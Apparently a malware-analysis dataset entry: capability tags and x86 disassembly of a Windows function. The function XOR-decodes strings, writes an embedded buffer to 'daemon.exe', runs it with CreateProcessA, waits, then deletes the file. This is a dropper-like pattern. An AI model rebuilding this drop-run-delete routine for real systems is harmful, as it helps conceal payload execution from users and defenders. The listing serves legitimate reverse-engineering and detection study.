Function at 0x4079f0
Capabilities:
Create process on windows
Create thread
Delete file
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46de8e
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1b8
mov eax, dword [0x4843a8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
push 0
push 0x407980
push 0
push 0
mov dword [ebp - 0x16c], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00405780
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x403d20
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [0x47ed5c]
mov edi, eax
movups xmm0, xmmword [0x47ed4c]
mov esi, dword [0x4e3580]
mov eax, 4
mov dword [ebp - 0x174], ecx
mov cx, word [0x47ed60]
mov word [ebp - 0x170], cx
movups xmmword [ebp - 0x184], xmm0
test ch, ch
je 0x407c37
xor edx, edx
mov dword [ebp - 0x16c], edx
cmp esi, 2
jl 0x407c00
movaps xmm0, xmmword [str.3333333333333333]
movaps xmm4, xmmword [0x47ed90]
movaps xmm3, xmmword [0x47ee30]
movaps xmm6, xmmword [0x47edb0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1a0], xmm0
mov ecx, dword [ebp - 0x1a0]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ee10]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x184]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x184], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ee10]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x180]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x180], xmm1
add edx, 8
cmp edx, 0x10
jl 0x407af0
mov dword [ebp - 0x16c], edx
cmp edx, 0x16
jge 0x407c37
nop
mov eax, 0x5397829d
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x16c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x31
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x184], cl
inc edx
mov dword [ebp - 0x16c], edx
cmp edx, 0x16
jl 0x407c00
lea edx, [ebp - 0x184]
mov ecx, edi
call fcn.0040ba20
call fcn.00405830
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x403d20
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x47e590]
mov ecx, dword [0x47e5a8]
xor edx, edx
mov dword [ebp - 0x174], ecx
mov edi, eax
mov cx, word [0x47e5ac]
mov word [ebp - 0x170], cx
mov cl, byte [0x47e5ae]
mov byte [ebp - 0x16e], cl
mov dword [ebp - 0x16c], edx
movups xmmword [ebp - 0x18c], xmm0
movq xmm0, qword [0x47e5a0]
movq qword [ebp - 0x17c], xmm0
cmp esi, 2
jl 0x407e00
movaps xmm0, xmmword [str.3333333333333333]
mov eax, 4
movaps xmm4, xmmword [0x47ed90]
movaps xmm3, xmmword [0x47ee30]
movaps xmm6, xmmword [0x47edb0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1a0], xmm0
mov ecx, dword [ebp - 0x1a0]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ee10]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x18c]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x18c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ee10]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x188]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x188], xmm1
add edx, 8
cmp edx, 0x18
jl 0x407cf0
mov dword [ebp - 0x16c], edx
cmp edx, 0x1f
jge 0x407e37
nop
mov eax, 0x5397829d
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x16c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x31
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x18c], cl
inc edx
mov dword [ebp - 0x16c], edx
cmp edx, 0x1f
jl 0x407e00
lea edx, [ebp - 0x18c]
mov ecx, edi
call fcn.0040ba20
call fcn.00406a00
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x403cf0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x47e80c]
mov edi, eax
movups xmmword [ebp - 0x180], xmm0
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x408005
xor edx, edx
mov dword [ebp - 0x16c], edx
cmp esi, 2
jl 0x407fd5
movaps xmm0, xmmword [str.3333333333333333]
mov eax, 4
movaps xmm4, xmmword [0x47ed90]
xor ecx, ecx
movaps xmm3, xmmword [0x47ee30]
movaps xmm6, xmmword [0x47edb0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1a0], xmm0
mov edx, dword [ebp - 0x1a0]
movd xmm7, eax
nop dword [eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ee10]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x180]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x180], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ee10]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x17c]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x17c], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x407ed0
jmp 0x408005
mov eax, 0x5397829d
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x16c]
mov cl, dl
imul eax, eax, 0x31
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x180], cl
inc edx
mov dword [ebp - 0x16c], edx
cmp edx, 0x10
jl 0x407fd5
lea edx, [ebp - 0x180]
mov ecx, edi
call fcn.0040ba20
lea ecx, [ebp - 0x30]
call fcn.004041d0
mov edi, accept
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x20]
mov eax, edi
sub eax, ecx
cmp eax, 0xb
jb 0x408653
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
push 0xb
cmovae eax, dword [ebp - 0x30]
push str.daemon.exe
push ecx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x48]
call fcn.0040d5d0
push 0xb0
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 1
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x110], 0x47e714
cmp dword [ebp - 0x34], 0x10
lea esi, [ebp - 0x48]
lea ecx, [ebp - 0xa8]
cmovae esi, dword [ebp - 0x48]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0x10c]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x16c], 3
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x114], eax
lea eax, [ebp - 0x10c]
mov ecx, eax
mov dword [ebp - 0x190], eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x10c]
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 0xc4], 0
mov byte [ebp - 0xcf], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x4e3598]
mov ecx, dword [0x4e359c]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xc8], ecx
mov dword [ebp - 0xd4], 0
push ecx
push 0x22
push esi
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 5
call fcn.0040afb0
test eax, eax
jne 0x40817d
mov eax, dword [ebp - 0x110]
lea ecx, [ebp - 0x110]
push 0
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x114], eax
push 0
push 0x5e800
push 0x484428
lea ecx, [ebp - 0x110]
mov byte [ebp - 4], 6
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x10c]
call fcn.0040a420
test eax, eax
jne 0x4081ea
mov eax, dword [ebp - 0x110]
lea ecx, [ebp - 0x110]
push 0
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov ecx, dword [ebp - 0x20]
sub edi, ecx
cmp edi, 0xb
jb 0x408658
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
push 0xb
cmovae eax, dword [ebp - 0x30]
push str.daemon.exe
push ecx
push eax
push ecx
push dword [ebp - 0x190]
lea ecx, [ebp - 0x60]
call fcn.0040d5d0
mov byte [ebp - 4], 7
lea edx, [ebp - 0x168]
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
push edx
cmovae eax, dword [ebp - 0x30]
lea edx, [ebp - 0x158]
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0x60]
push edx
cmovae ecx, dword [ebp - 0x60]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
movlpd qword [ebp - 0x154], xmm0
movlpd qword [ebp - 0x14c], xmm0
movlpd qword [ebp - 0x144], xmm0
movlpd qword [ebp - 0x13c], xmm0
movlpd qword [ebp - 0x134], xmm0
movlpd qword [ebp - 0x12c], xmm0
movlpd qword [ebp - 0x124], xmm0
movlpd qword [ebp - 0x11c], xmm0
mov dword [ebp - 0x158], 0x44
movups xmmword [ebp - 0x168], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4082b6
mov edx, str.__X__CreateProcess_failed__
jmp 0x4082dd
push 0xffffffffffffffff
push dword [ebp - 0x168]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x168]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
jne 0x40830f
mov edx, str.__X__GetExitCodeProcess_failed__
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.0040ba20
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov edx, 0x47d3c8
mov ecx, eax
call fcn.0040ba20
mov esi, 1
jmp 0x40856a
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._____The_process_exited_with_code
call fcn.0040ba20
push dword [ebp - 0x18]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov edx, 0x47d40c
mov ecx, eax
call fcn.0040ba20
push dword [ebp - 0x168]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x164]
call esi
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
cmovae eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push 0x403cc0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x47e2bc]
mov ecx, dword [0x47e2d4]
mov esi, eax
mov dword [ebp - 0x1a8], ecx
mov cx, word [0x47e2d8]
mov word [ebp - 0x1a4], cx
movups xmmword [ebp - 0x1c0], xmm0
movq xmm0, qword [0x47e2cc]
movq qword [ebp - 0x1b0], xmm0
test ch, ch
je 0x408549
xor edx, edx
cmp dword [0x4e3580], 2
mov dword [ebp - 0x16c], edx
jl 0x408512
movaps xmm0, xmmword [str.3333333333333333]
mov eax, 4
movaps xmm4, xmmword [0x47ed90]
movaps xmm3, xmmword [0x47ee30]
movaps xmm6, xmmword [0x47edb0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1a0], xmm0
mov ecx, dword [ebp - 0x1a0]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ee10]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x1c0]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x1c0], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x47ee10]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x1bc]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x1bc], xmm1
add edx, 8
cmp edx, 0x18
jl 0x408404
mov dword [ebp - 0x16c], edx
cmp edx, 0x1e
jge 0x408549
mov eax, 0x5397829d
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x16c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x31
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x1c0], cl
inc edx
mov dword [ebp - 0x16c], edx
cmp edx, 0x1e
jl 0x408512
lea edx, [ebp - 0x1c0]
mov ecx, esi
call fcn.0040ba20
mov ecx, eax
call fcn.0040bc50
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov edx, dword [ebp - 0x4c]
cmp edx, 0x10
jb 0x40859e
mov ecx, dword [ebp - 0x60]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408594
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408623
push edx
push ecx
call fcn.0046c3ad
add esp, 8
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
call fcn.00408660
mov edx, dword [ebp - 0x34]
cmp edx, 0x10
jb 0x4085eb
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4085e1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408623
push edx
push ecx
call fcn.0046c3ad
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
cmp edx, 0x10
jb 0x408633
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408629
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x408629
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0046c3ad
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046c172
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004011c0
call fcn.004011c0
int3